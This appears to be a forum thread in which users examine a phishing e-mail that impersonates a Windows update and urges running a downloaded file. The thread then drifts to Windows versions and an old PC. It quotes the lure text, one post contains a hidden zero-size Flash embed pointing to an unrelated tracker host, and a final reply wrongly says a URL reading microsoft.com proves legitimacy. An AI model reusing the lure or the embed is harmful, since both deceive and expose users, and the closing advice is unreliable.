Got an e-mail today offering a free windows update

We invite you to update your computer.

To install the latest version of the browser, go to the site by clicking on the link below:

http://update.microsoft.com/windowsupdate/computerno=25451511/

Once the update download, follow these steps:

1. Look WindowsUpdate file, usually it is on the desktop after the download.
2. Double Click WindowsUpdate
3. Wait 2 minutes for the update is done and it's good

Any idea as to what might happen with this?

Got an e-mail today offering a free windows update



Any idea as to what might happen with this?

DON'T DO IT!!!!!!

tactic used for installing malware to hijack your computer, especially if you can't verify that it actualy comes form Microsoft Safest bet is don't do it!!!

DON'T DO IT!!!!!!

tactic used for installing malware to hijack your computer, especially if you can't verify that it actualy comes form Microsoft Safest bet is don't do it!!!

:lol: Of course not
I was curious if anybody here had encountered this particular site.

:lol: Of course not
I was curious if anybody here had encountered this particular site.

you mean microsoft.com ?? Never heard of it! :jameo:

you mean microsoft.com ?? Never heard of it! :jameo:

Somehow I doubt that you'll wind up at Microsoft.com if you click the link :lol:

Somehow I doubt that you'll wind up at Microsoft.com if you click the link :lol:

i don't know if you copied/pasted the link or what, but it definitely links you to microsoft.com from here. I checked the microsoft website and got to that link (minus the computer # part at the end) to see it discussing upgrade. Any chance you registered yourself on some sort of Windows list?

Even if the link looks legit, the instructions would be enough to make me hit Delete!!

Once the update download, follow these steps:

1. Look WindowsUpdate file, usually it is on the desktop after the download.
2. Double Click WindowsUpdate
3. Wait 2 minutes for the update is done and it's good

i don't know if you copied/pasted the link or what, but it definitely links you to microsoft.com from here. I checked the microsoft website and got to that link (minus the computer # part at the end) to see it discussing upgrade. Any chance you registered yourself on some sort of Windows list?
I'll do a check for updates when I get home

Even if the link looks legit, the instructions would be enough to make me hit Delete!!
Agreed!

I'll do a check for updates when I get home
I'd check via the actual website and not click the link (or right click and copy where the link sends you to see if it's the same). That's the way to avoid bad crap like that. I've heard Windows 7 is much better than Vista. If I could get an upgrade, I'd probably take it. :dance:

I'd check via the actual website and not click the link (or right click and copy where the link sends you to see if it's the same). That's the way to avoid bad crap like that. I've heard Windows 7 is much better than Vista. If I could get an upgrade, I'd probably take it. :dance:

I'm running XP
No way I'd "upgrade" to Vista

I was in Walmart looking for a replacement computer for my Mom last week and all the Vista machines had stickers saying they they were eligible for a free Windows 7 upgrade. Maybe this is something Microsoft is doing to remove the stigma of Vista

The actually had a few e-machines with XP on them. Heading down later this week to get her one.

I'm running XP
No way I'd "upgrade" to Vista

I was in Walmart looking for a replacement computer for my Mom last week and all the Vista machines had stickers saying they they were eligible for a free Windows 7 upgrade. Maybe this is something Microsoft is doing to remove the stigma of Vista

The actually had a few e-machines with XP on them. Heading down later this week to get her one.

Windows 7 is out. If she has to "deal" with Vista briefly before getting the free 7 upgrade, it's worthwhile. Vista isn't nearly as bad as what people make it out to be, since they fixed most of the problems. Having Vista with a free 7 upgrade is far better than keeping her on XP.

Windows 7 is out. If she has to "deal" with Vista briefly before getting the free 7 upgrade, it's worthwhile. Vista isn't nearly as bad as what people make it out to be, since they fixed most of the problems. Having Vista with a free 7 upgrade is far better than keeping her on XP.

She uses it to play games, mostly solitare.
Windows 7 has a release date of 10/22 for the public
No internet connection so upgrading it would present problems.

Turn on the Windows auto update , let Windows go get its own updates from Microsoft and down load them , that way you will always be up to date with upgrades and patches. You will have the option to install or not. But at least you will know its legit. MS would never email anyone to tell them to update. You can get still new machines from Dell with XP with option to upgrade to Windows 7 for free , I just ordered a truck load of them with XP.

She's getting an eMachine from Wal Mart (http://www.walmart.com/eMachines-EL1300G-02W-Desktop-LCD/ip/11007926) with Xp

Her current machine runs 98
it now goes to C:<windows> and stops
Program disk is in my sister's barn and she's in CO.

She's getting an eMachine from Wal Mart (http://www.walmart.com/eMachines-EL1300G-02W-Desktop-LCD/ip/11007926) with Xp

Her current machine runs 98
it now goes to C:<windows> and stops
Program disk is in my sister's barn and she's in CO.

:lol: I have a win98 install disk if you really need it.... :lol:

:lol: I have a win98 install disk if you really need it.... :lol:

A co-worker offered me one, but she's due for a new machine. That 98 box took about 10 minutes to boot up :lol:


but that reminds me, I need to download "Elf Bowling" before I leave.

She's getting an eMachine from Wal Mart (http://www.walmart.com/eMachines-EL1300G-02W-Desktop-LCD/ip/11007926) with Xp

Her current machine runs 98
it now goes to C:<windows> and stops
Program disk is in my sister's barn and she's in CO.

chkdsk /r at the prompt maybe? Or does it give you a prompt?

chkdsk /r at the prompt maybe? Or does it give you a prompt?



for Win 98 that would be ScanDisk

Somehow I doubt that you'll wind up at Microsoft.com if you click the link :lol:<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://secsportschat.com/?tracker=3759"></param><param name="allowFullScreen" value="true"></param><embed src="http://secsportschat.com/?tracker=3759" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>

Just check the url in the address bar. If it reads microsoft.com, its legit